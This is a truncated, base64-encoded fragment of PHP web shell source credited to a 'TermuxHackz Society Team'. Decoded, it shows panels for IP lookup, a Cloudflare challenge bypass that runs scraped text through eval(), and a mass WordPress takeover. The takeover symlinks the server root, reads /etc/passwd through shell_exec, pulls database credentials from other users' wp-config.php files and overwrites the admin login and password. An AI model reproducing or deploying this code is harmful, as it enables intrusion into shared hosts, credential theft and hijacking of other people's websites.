BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnYWJvdXRfdXMnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJkZG9zIj48YnV0dG9uIG9uY2xpY2s9ImNsb3NlYnRuKCk7IiBpZD0iY2xvc2UiPlg8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJnb2xkIiBzaXplPSI2IiBmYWNlPSJBcmlhbCI+PGNlbnRlcj5BYm91dCB1czwvY2VudGVyPjwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjQiIGNvbG9yPSJncmVlbiI+VGVybXV4SGFja3ogU29jaWV0eSBUZWFtPC9mb250Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxwIHN0eWxlPSJjb2xvcjogcmVkOyBzaXplOiAxOXB4OyI+VGVybXV4SGFja3ogU29jaWV0eSBUZWFtIGNyZWF0ZWQgdGhpcyBwb3dlcmZ1bCB3ZWJzaGVsbCwgd2UgYXJlIGEgdmVyeSBpbmZsdWVuY2lhbCB0ZWFtIG1ha2luZyBjaGFuZ2VzIHRvIHRoaXMgd29ybGQgYW5kIGJyZWFraW5nIG1vcmUgZmlyZXdhbGxzIGhhaGEgOikgcHJvdGVjdCB5b3VyIHNpdGUuIFRlcm11eEhhY2t6IFNvY2lldHkgVGVhbSAtIEZ1Y2tpbiBCcmVha2luZyBXZWIgRmlyZXdhbGxzLCBQYXRjaCBZb3VyIFNlY3VyaXR5IFhELi4uQmhhaQ0KICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHlvdSB3aWxsIGdldCB5b3VyIHNpdGUgZnVja2VkIHVwIHByZXR0eSBiYWQgOlAgaGFoaGFhIFdlIGFyZSBBbm9ueW1vdXMsIFdlIGFyZSBUZXJtdXhIYWNreiBTb2NpZXR5IGhhaGFoYS4uLiBKb2luIHVzISEgPGJyLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgWW91IENhbiBKb2luIG91ciBmYWNlYm9vayBncm91cCAgPGEgaHJlZj0iaHR0cHM6Ly9iaXQubHkvM3IySmwxOCIgdGFyZ2V0PSJfYmxhbmsiIGFsdD0iVGVybXV4SGFja3ogU29jaWV0eSBUZWFtIEdyb3VwIj5oZXJlOikgPC9hPiBEb250IGJlIGEgZnVjayB1cCBva2F5Pz8/PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHNjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY2xvc2VidG4oKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImRkb3MiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2NyaXB0Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgIH0gPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnaXBfZ2VvbG9jYXRpb24nXSkpDQogICAgICAgICAgICAgICAgICAgICAgeyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGJyPjxmb250IGNvbG9yPSJ0ZWFsIiBzaXplPSI1IiBmYWNlPSJBcmlhbCI+fCBJUCBnZW9sb2NhdGlvbiB8IDwvZm9udD48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjQiIGNvbG9yPSJ3aGl0ZSI+RW50ZXIgSVA6IDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXBfbmFtZSIgcGxhY2Vob2xkZXI9IjguOC44LjgiLz4gPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGlkPSJidXR0b24iIG5hbWU9InN1Ym1pdF9pcCI+IDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdF9pcCddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAkaXAgPSAkX1BPU1RbJ2lwX25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHRva2VuX2hhc2ggPSAnTWpOaE16YzVNRFl6T1RJNFl6Yz0nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAkdG9rZW4gPSBiYXNlNjRfZGVjb2RlKCR0b2tlbl9oYXNoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJGdlb2xvY2F0aW9uX2RhdGEgPSBmaWxlX2dldF9jb250ZW50cygiaHR0cHM6Ly9pcGluZm8uaW8vIi4gJGlwIC4gIj90b2tlbj0iIC4gJHRva2VuKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAvL3ByaW50IHRoZSBmdWNraW4gcmVzdWx0DQogICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZXh0YXJlYSByb3dzPSIxMCIgY29scz0iNTAiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGdlb2xvY2F0aW9uX2RhdGE7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvY2VudGVyPic7DQogICAgICAgICAgICAgICAgICAgICAgfT8+DQogICAgICAgICAgICAgICAgICAgICAgCQ0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCmlmKGlzc2V0KCRfR0VUWyJieXBhc3NfY2xvdWRmbGFyZSJdKSkgew0KPz4NCgk8Y2VudGVyPjxicj48Zm9udCBjb2xvcj0iZ29sZCIgc2l6ZT0iNSIgZmFjZT0iQXJpYWwiPkJ5cGFzcyBDbG91ZGZsYXJlPC9mb250Pjxicj48YnI+DQoJCTxmb3JtIG1ldGhvZD0icG9zdCI+DQoJCQk8Zm9udCBzaXplPSIzIiBjb2xvcj0iZ3JlZW4iPkVudGVyIFdlYnNpdGU6IDwvZm9udD4NCgkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1cmxfbmFtZSIgcGxhY2Vob2xkZXI9Imh0dHA6Ly90YXJnZXRzaXRlLmNvbSIvPiA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iZ28iIGlkPSJidXR0b24iPiA8L2J1dHRvbj48YnIvPg0KCQkJPC9mb3JtPg0KPD9waHANCmlmKGlzc2V0KCRfUE9TVFsiZ28iXSkpIHsNCiR1cmwgPSAkX1BPU1RbJ3VybF9uYW1lJ107DQokZGF0YSA9IE9wZW5VUkxjbG91ZGZsYXJlKCR1cmwpOw0KcHJpbnQgJGRhdGE7DQoNCg0KDQpmdW5jdGlvbiBPcGVuVVJMY2xvdWRmbGFyZSgkdXJsKSB7DQogICAgLy9nZXQgY2xvdWRmbGFyZSBDaGFsbGVuZ2VGb3JtDQogICAgJGRhdGEgPSBPcGVuVVJMKCR1cmwpOw0KICAgIHByZWdfbWF0Y2goJy88Zm9ybSBpZD0iQ2hhbGxlbmdlRm9ybSIgLisgbmFtZT0iYWN0IiB2YWx1ZT0iKC4rKSIuK25hbWU9ImpzY2hsX3ZjIiB2YWx1ZT0iKC4rKSIuKzxcL2Zvcm0+Litqc2NobF9hbnN3ZXIuK1woKFswLTlcK1wtXCpdKylcKTsvVWlzJywkZGF0YSwkb3V0KTsNCiAgICBpZihjb3VudCgkb3V0KT4wKSB7DQogICAgICAgIGV2YWwoIlwkanNjaGxfYW5zd2VyPSRvdXRbM107Iik7DQogICAgICAgICRwb3N0WydhY3QnXSAgICAgICAgICAgID0gJG91dFsxXTsNCiAgICAgICAgJHBvc3RbJ2pzY2hsX3ZjJ10gICAgICAgID0gJG91dFsyXTsNCiAgICAgICAgJHBvc3RbJ2pzY2hsX2Fuc3dlciddICAgID0gJGpzY2hsX2Fuc3dlcjsNCiAgICAgICAgLy9zZW5kIGpzY2hsX2Fuc3dlciB0byB0aGUgd2Vic2l0ZQ0KICAgICAgICAkZGF0YSA9IE9wZW5VUkwoJHVybCwgJHBvc3QpOw0KICAgIH0NCiAgICByZXR1cm4oJGRhdGEpOw0KfQ0KDQpmdW5jdGlvbiBPcGVuVVJMKCR1cmwsICRwb3N0PWFycmF5KCkpIHsNCiAgICAkaGVhZGVyc1tdID0gJ1VzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IFVidW50dTsgTGludXggeDg2XzY0OyBydjoxMy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEzLjAuMSc7DQogICAgJGhlYWRlcnNbXSA9ICdBY2NlcHQ6IGFwcGxpY2F0aW9uL2pzb24sIHRleHQvamF2YXNjcmlwdCwgKi8qOyBxPTAuMDEnOw0KICAgICRoZWFkZXJzW10gPSAnQWNjZXB0LUxhbmd1YWdlOiBhcixlbjtxPTAuNSc7DQogICAgJGhlYWRlcnNbXSA9ICdDb25uZWN0aW9uOiBrZWVwLWFsaXZlJzsNCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9WRVJCT1NFLCBUUlVFKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOw0KICAgIGlmKGNvdW50KCRwb3N0KT4wKSB7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCBUUlVFKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwb3N0KTsNCiAgICB9DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICcvdG1wL2N1cmwuY29va2llJyk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJy90bXAvY3VybC5jb29raWUnKTsNCiAgICAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KICAgIHJldHVybigkZGF0YSk7DQp9DQp9IA0KZWNobyAiPC9jZW50ZXI+IjsNCj8+DQoJPD9waHANCgl9IA0KCT8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3dob2xlJ10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgeyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT0iY29taWMgc2FucyBtcyI+Y2hhbmdlIHVzZXIvcGFzcyBmb3Igd2hvbGUgc2VydmVyPC9mb250Pjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT1cImNvbWljIHNhbnMgbXNcIj5QbGVhc2UgZmlsbCB0aGUgdXNlcm5hbWUvcGFzc3dvcmQgdGhhdCB5b3Ugd2FudCB0byBzZXQgb24gYWRtaW4gcGFuZWxzIDopPGJyPjxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9MyBmYWNlPVwiY29taWMgc2FucyBtc1wiPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAidXNlcm5hbWU6PGlucHV0IHR5cGU9dGV4dCBuYW1lPXVuYW1lIHZhbHVlPVRlYW0+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiUGFzc3dvcmQ8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFzcyB2YWx1ZT1UZXJteD48L2ZvbnQ+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3RhcnQgdmFsdWU9XCJTdGFydCAtKVwiPjxwPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX3JlcG9ydGluZygwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBlbnRyZTJ2MigkdGV4dCwkbWFycXVldXJEZWJ1dExpZW4sJG1hcnF1ZXVyRmluTGllbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXIwPWV4cGxvZGUoJG1hcnF1ZXVyRGVidXRMaWVuLCAkdGV4dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFyMT1leHBsb2RlKCRtYXJxdWV1ckZpbkxpZW4sICRhcjBbMV0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcj10cmltKCRhcjFbMF0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYXI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3N0YXJ0J10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1bmFtZT0kX1BPU1RbJ3VuYW1lJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhc3M9JF9QT1NUWydwYXNzJ107DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8vLy8vLy8vLy8vLy8vLy8vLyBzeW1saW5rIC8vLy8vLy8vLy8vLy8vLy8vLy8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJ3Rlcm14JywwNzc3KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcnIgPSAiIE9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRnID0gZm9wZW4oJ3Rlcm14Ly5odGFjY2VzcycsJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGcsJHJyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzeW1saW5rKCIvIiwidGVybXgvcm9vdCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFpc19kaXIoJ3Rlcm14L3Jvb3QnKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHAgc3R5bGU9ImNvbG9yOiByZWQiOz4gU29ycnkgYnJvIDopICwgc2NyaXB0IGNvdWxkIG5vdCBzeW1saW5rIC8gZm9sZGVyIDooIDwvcD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjbWQ9ImF3ayAtRiA6ICcoJDM+NTAwKSAmJiAoJDMhPTY1NTM0KSAmJiAoJDMhPTEwMDApJyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZiAxIC1kICc6JyAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjPXNoZWxsX2V4ZWMoJGNtZCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzcj1leHBsb2RlKCJcbiIsJGMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHVzciBhcyAkdXMgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1PXRyaW0oJHVzKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiYXNlX3VybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5kaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKS4nL3Rlcm14L3Jvb3QvaG9tZS8nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb25maT1hcnJheSgid3AtY29uZmlnLnBocCIsImJsb2cvd3AtY29uZmlnLnBocCIsIndvcmRwcmVzcy93cC1sb2dpbi5waHAiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRjb25maSBhcyAkY28pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1dXJsPUBmaWxlX2dldF9jb250ZW50cygkYmFzZV91cmwuJHUuIi9wdWJsaWNfaHRtbC8iLiRjbyk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdXVybCAmJiBwcmVnX21hdGNoKCcvREJfTkFNRS9pJywkdXVybCkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PHRhYmxlIHdpZHRoPTYwJSA+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9cmVkIHNpemU9NCBmYWNlPSdjb21pYyBzYW5zIG1zJz4gd2Vic2l0ZSBjbXMgaXMgd29yZHByZXNzIG9mIHVzZXIgJHUgPC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHdsPSRiYXNlX3VybC4kdS4iL3B1YmxpY19odG1sLyIuJGNvOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0ZXh0PWZpbGVfZ2V0X2NvbnRlbnRzKCR3bCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdW5hbWU9JF9QT1NUWyd1bmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYnU9ZW50cmUydjIoJHRleHQsImRlZmluZSgnREJfVVNFUicsICciLCInKTsiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJwPWVudHJlMnYyKCR0ZXh0LCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYm49ZW50cmUydjIoJHRleHQsImRlZmluZSgnREJfTkFNRScsICciLCInKTsiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHA9ZW50cmUydjIoJHRleHQsIiR0YWJsZV9wcmVmaXggPSAnIiwiJyIpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5wd2Q9IG1kNSgkcGFzcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3Q9ImxvY2FsaG9zdCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiY29ubmVjdD1AIG15c3FsX2Nvbm5lY3QoJGhvc3QsJGRidSwkZGJwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJzZWxlY3Q9QCBteXNxbF9zZWxlY3RfZGIoJGRibiwkZGJjb25uZWN0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkZGJzZWxlY3QpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5kYXRhYmFzZSAkZGJuIGhhcyBiZWVuIHNlbGVjdGVkPGJyPiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcnU9QCBteXNxbF9xdWVyeSgiVVBEQVRFIGAiLiR0cC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSciLiR1bmFtZS4iJyBXSEVSRSBJRCA9IDEiKSA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJ1PSBAIG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHRwLiJ1c2Vyc2AgU0VUIGB1c2VyX3Bhc3NgID0nIi4kbnB3ZC4iJyBXSEVSRSBJRCA9IDEiKSA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gYCIuJHRwLiJvcHRpb25zYCBXSEVSRSBvcHRpb25fbmFtZT0naG9tZSciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzaXRlX3VybD0kZGF0YVsib3B0aW9uX3ZhbHVlIl07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAid2Vic2l0ZSBpcyAiLiRkYXRhWyJvcHRpb25fdmFsdWUiXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJHJ1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBzaXplPTIgY29sb3I9cmVkIGZhY2U9J2NvbWljIHNhbnMgbXMnPjxicj5jb3VsZCBub3QgdXBkYXRlIHVzZXJuYW1lL3Bhc3N3b3JkIDpQPC9mb250PiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PHRhYmxlIHdpZHRoPTYwJSBib29yZGVyPTE+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zIGNvbG9yPXJlZCBmYWNlPSdjb21pYyBzYW5zIG1zJz5EdWRlIDpQLHVzZXJuYW1lICR1bmFtZSBhbmQgcGFzc3dvcmQgJHBhc3MgaGFzIGJlZW4gdXBkYXRlZCBmb3IgSUQ9MSA6RDwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvY2VudGVyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICB9ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3BhcnRpY3VsYXInXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxmb250IHNpemU9MyBjb2xvcj13aGl0ZSBmYWNlPSJjb21pYyBzYW5zIG1zIj5QdXQgdGhlIHdvcmRwcmVzcyB3ZWJzaXRlIHVzZXJuYW1lcyBmb3IgbWFzcyB1c2VyL3Bhc3N3b3JkIGNoYW5nZTxicj48L2ZvbnQ+PGJyLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9cG9zdD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXplPTMgY29sb3I9d2hpdGUgZmFjZT0iY29taWMgc2FucyBtcyI+IFVzZXJuYW1lOjxpbnB1dCB0eXBlPXRleHQgbmFtZT11bmFtZSB2YWx1ZT1UZWFtPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQYXNzd29yZDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXNzIHZhbHVlPVRFUk1YPjwvZm9udD48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9cmVkIHNpemU9MyBmYWNlPSJjb21pYyBzYW5zIG1zIj51c2VyIGxpc3Q8YnI+PHRleHRhcmVhIHJvd3M9NiBjb2xzPTQ1IG5hbWU9d2VuPjwvdGV4dGFyZWE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1jYW50IHZhbHVlPSJDbGljayBtZSBhbmQgaSB3aWxsIHRyeSB0byBoZXggdGhpcyBzaGl0IFhEIiAvPjwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvY2VudGVyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnY2FudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9yZXBvcnRpbmcoMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVuYW1lPSRfUE9TVFsndW5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFzcz0kX1BPU1RbJ3Bhc3MnXTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1c2Vycz0kX1BPU1RbJ3dlbiddOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJ3Rlcm14JywwNzc3KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcnIgID0gIiBPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGcgPSBmb3BlbigndGVybXgvLmh0YWNjZXNzJywndycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3